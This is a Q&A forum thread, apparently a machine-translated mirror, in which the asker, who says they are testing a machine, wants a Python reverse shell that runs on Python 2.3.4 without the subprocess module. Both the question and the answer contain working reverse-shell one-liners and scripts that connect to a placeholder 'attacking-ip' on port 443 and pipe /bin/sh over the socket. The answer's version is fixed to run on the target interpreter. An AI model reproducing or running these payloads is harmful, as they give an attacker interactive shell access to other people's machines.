2017-02-26 49 views
1

我正在測試一臺安裝了Python 2.3.4的機器。沒有子進程的Python反向shell

使用這一個班輪:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

是:

import socket,subprocess,os 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("attacking-ip",443));os.dup2(s.fileno(),0) 
os.dup2(s.fileno(),1) 
os.dup2(s.fileno(),2) 
p=subprocess.call(["/bin/sh","-i"]) 

我得到這個錯誤:

Traceback (most recent call last): File "", line 1, in ? ImportError: No module named subprocess

我現在正在創建一個腳本,以提供反向連接。我的問題/問題是,如果有可能通過導入子流程來實現這一點?

我有這個迄今爲止

#!/usr/bin/python 

import socket 
import os 

HOST = '' 
PORT = '' 

conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #CREATES TCP SOCKET 

conn.connect((HOST, PORT)) #CONNECT 

while 1: #LOOP 
    ls = os.system('ls') # test with ls 
#^ Need to add the ability to use any system command 
command_send = conn.send(ls) #RECEIVE COMMAND 
    #EXECUTE COMMAND 

這個迴路永遠沒有想出如何與接收到的數據停止循環,並保持腳本活着。

回答

1

subprocess模塊是在Python 2.4中引入的。


You can use os.system instead of subprocess.call

import socket, os 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(("attacking-ip", 443)) 
os.dup2(s.fileno(), 0) 
os.dup2(s.fileno(), 1) 
os.dup2(s.fileno(), 2) 
os.system("/bin/sh -i") 

python -c 'import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system("/bin/sh -i")' 
+0

謝謝!我會試試這個。即使這不起作用,這也回答了我的問題。 –

相關問題